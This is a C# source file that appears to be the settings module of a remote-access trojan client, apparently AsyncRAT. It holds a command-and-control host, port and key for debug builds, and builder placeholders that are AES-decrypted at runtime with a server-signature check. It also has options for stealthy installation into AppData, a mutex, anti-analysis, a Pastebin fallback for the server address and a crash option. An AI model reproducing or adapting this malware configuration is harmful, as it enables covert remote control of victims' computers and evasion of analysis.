91 lines
3.3 KiB
C#
91 lines
3.3 KiB
C#
using Client.Algorithm;
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using Client.Helper;
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using System;
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using System.IO;
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using System.Security.Cryptography;
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using System.Security.Cryptography.X509Certificates;
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using System.Text;
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namespace Client
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{
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public static class Settings
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{
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#if DEBUG
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public static string Ports = "6606";
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public static string Hosts = "127.0.0.1";
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public static string Version = "0.5.5A";
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public static string Install = "false";
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public static string InstallFolder = "AppData";
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public static string InstallFile = "Test.exe";
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public static string Key = "NYAN CAT";
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public static string MTX = "%MTX%";
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public static string Certificate = "%Certificate%";
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public static string Serversignature = "%Serversignature%";
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public static X509Certificate2 ServerCertificate;
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public static string Anti = "false";
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public static Aes256 aes256 = new Aes256(Key);
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public static string Pastebin = "null";
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public static string BDOS = "false";
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public static string Hwid = HwidGen.HWID();
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public static string Delay = "0";
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#else
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public static string Ports = "%Ports%";
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public static string Hosts = "%Hosts%";
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public static string Version = "%Version%";
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public static string Install = "%Install%";
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public static string InstallFolder = "%Folder%";
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public static string InstallFile = "%File%";
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public static string Key = "%Key%";
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public static string MTX = "%MTX%";
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public static string Certificate = "%Certificate%";
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public static string Serversignature = "%Serversignature%";
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public static X509Certificate2 ServerCertificate;
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public static string Anti = "%Anti%";
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public static Aes256 aes256;
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public static string Pastebin = "%Pastebin%";
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public static string BDOS = "%BDOS%";
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public static string Hwid = "";
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public static string Delay = "%Delay%";
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#endif
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public static bool InitializeSettings()
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{
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#if DEBUG
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return true;
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#endif
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try
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{
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Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
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aes256 = new Aes256(Key);
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Ports = aes256.Decrypt(Ports);
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Hosts = aes256.Decrypt(Hosts);
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Version = aes256.Decrypt(Version);
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Install = aes256.Decrypt(Install);
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MTX = aes256.Decrypt(MTX);
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Pastebin = aes256.Decrypt(Pastebin);
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Anti = aes256.Decrypt(Anti);
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BDOS = aes256.Decrypt(BDOS);
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Hwid = HwidGen.HWID();
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Serversignature = aes256.Decrypt(Serversignature);
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ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
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return VerifyHash();
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}
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catch { return false; }
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}
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private static bool VerifyHash()
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{
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try
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{
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var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
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return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
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}
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catch (Exception)
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{
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return false;
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}
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}
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}
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} |